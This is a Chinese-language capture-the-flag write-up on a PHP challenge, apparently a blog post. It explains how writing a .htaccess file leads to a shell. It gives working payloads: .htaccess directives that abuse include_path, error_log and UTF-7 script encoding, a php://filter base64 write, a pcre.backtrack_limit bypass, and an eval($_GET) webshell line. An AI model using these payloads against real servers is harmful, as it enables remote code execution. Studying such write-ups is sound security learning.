鸽了很久，还是记录一下
比赛的时候搞了很长时间，终于和mlt师傅搞出来了，竟然只有我们一队是预期解==
<?php $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } include_once("fl3g.php"); if(!isset($_GET['content']) || !isset($_GET['filename'])) { highlight_file(__FILE__); die(); } $content = $_GET['content']; if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) { echo "Hacker"; die(); } $filename = $_GET['filename']; if(preg_match("/[^a-z.]/", $filename) == 1) { echo "Hacker"; die(); } $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } file_put_contents($filename, $content . " Just one chance"); ?>
题目就给了一个php文件，整个逻辑也比较简单，首先删除当前目录下非index.php的文件，然后include(‘fl3g.php’)，之后获取filename和content并写入文件中。其中对filename和content都有过滤。
那么从可控参数filename和content来看，
filename若匹配到除了a-z和单引号.以外的其它字符，则触发waf，
而content中也过滤了一些关键字，当然刚拿题的确不知道为啥要过滤这些。因为看到file_put_content和unlink自然想到了条件竞争写shell，但是测试过程虽然能够写进.php文件但是不解析，并且由于题目服务器中间件为apache，因此想到了传.htaceess来解析php，通常我们用
.htaccess来解析非php后缀文件时用到
AddType application/x-httpd-php .ppp
或者
<FilesMatch "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
但是此时content中过滤了on，type，并且过滤了file，那么
auto_append_file和
auto_prepend_file肯定也无法使用，搜索中.htaccess+getshell大多数也是结合这两种方法，结合题目逻辑：
1.删除除了index.php的所有文件，但是.htaccess如果上传肯定unlink没法删除
2.fl3g.php被删除，但是又有include,肯定要利用到包含来getshell
有了以上两点在php.ini中找了找，发现了有趣的几项配置：
顾名思义，include_path用来设置include()或require()函数包含文件的参考路径，也就是说当使用include()或require()函数包含文件的时候,程序首先以include_path设置的路径作为参考点去找文件,如果找不到,则以程序自身所在的路径为参考点去找所要的文件,如果都找不到,则出错，那么我们就可以通过修改它来控制include的路径，那么如果我们能够在其它目录写入同名的fl3g.php让其包含，那么就能够getshell，并且达到fl3g.php文件不被删除。
然而经过一番搜索，并未找到可修改filename中文件路径分隔符的配置项，因此路径分割符/无法使用，即无法file_put_contents任意目录写文件。
了一下，发现该函数可以把错误日志保存到指定的目录中，那么可以通过php_value来设置其为/tmp/fl3g.php，那么当报错时将会把错误信息保存到该fl3g.php中，当然要配合设置log_errors为1开启错误记录，报错的话可以通过include_path来报错，那么此时思路应该比较清晰了：
1.写.htaccess，访问index.php，通过报错将shell写入到/tmp/fl3g.php
2.写.htaccess，包含fl3g.php来getshell
那么此时又遇到一个trick，写入的.htaccess将会和 及字符串拼接在一起
那么通常.htaccess中出现无意义字符再访问当前目录文件服务器将500，那么.htaccess又不支持多行注释，并且单行注释#必须在每行的开头，那么此时可以通过反斜杠和#来用单行注释kill掉just one chance字符串。本地先测试一波：
payload：
index.php?filename=.htaccess&content=php_value include_path "<?=phpinfo();?>"%0d%0aphp_value log_errors 1%0d%0aphp_value error_log /tmp/fl3g.php%0d%0a%23
此时将写入.htaccess
再次访问index.php
此时将include_path中的payload写入到了fl3g.php中，但是从观察来看<>被html实体编码转义了，html_errors里面html也被过滤了。说明此时shell无法利用，上周suctf也考到了.htaccess中编码来绕过<?的过滤，但是此时只转义了<，因此UTF-16,UTF-32均无法bypass，此时结合Insomnihack 2019 -l33t-hoster题解中使用UTF-7编码来绕过<的过滤，结合php.ini的设置项
并且利用wp中已经给的poc：
+ADw?php phpinfo()+ADs +AF8AXw-halt+AF8-compiler()+Ads
再在走一遍之前的流程，首先写入payload，发现并未转义
第二次写.htaccess更新inlcude_path为/tmp目录，并开启utf-7编码检测
此时需要写入以上三个值，写入情况如下图
此时再访问index.php来getshell即可，这里要注意本地要设置一下除了index.php不解析其它以php为后缀的文件，否则这里本地测试包含fl3g.php时无法getshell，本地跑完以后就可以远程打了
这道题用到了以下几个trick:
1.error_log结合log_errors自定义错误日志
2.include_path带入payload
3.include_path更改包含路径
4.php_flag zend.multibyte 1结合php_value zend.script_encoding "UTF-7"绕过尖括号<过滤
5.# 绕过just one chance
用到的几个trick都是php.ini自带的配置，getshell的过程也更具有普适性
看了赛后的wp，还有两个非预期解：
1.正则匹配时：
if(preg_match("/[^a-z.]/", $filename) == 1) 而不是if(preg_match("/[^a-z.]/", $filename) !== 0)，因此可以通过php_value 设置正则回朔次数来使正则匹配的结果返回为false而不是0或1，默认的回朔次数比较大，可以设成0，那么当超过此次数以后将返回false
php_value pcre.backtrack_limit 0 php_value auto_append_file ".htaccess" php_value pcre.jit 0 #aa<?php eval($_GET['a']);?>
令filename为：
filename=php://filter/write=convert.base64-decode/resource=.htaccess
这样content就能绕过stristr，一般这种基于字符的过滤都可以用编码进行绕过，这样就能getshell了，这里还学到了p牛的一篇文章：
https://www.leavesongs.com/PENETRATION/php-filter-magic.html?page=1#reply-list，php://filter的妙用
2.非预期2
因为后面content会拼接无意义字符串， 因此采用.htaccess的单行注释绕过 # ，这里反斜杠本来就有拼接上下两行的功能，因此这里本来就可以直接使用来连接被过滤掉的关键字来写入.htaccess，
比如
php_value auto_prepend_fi
le ".htaccess"
当时实在是没想到这种。。。不知道为啥没想到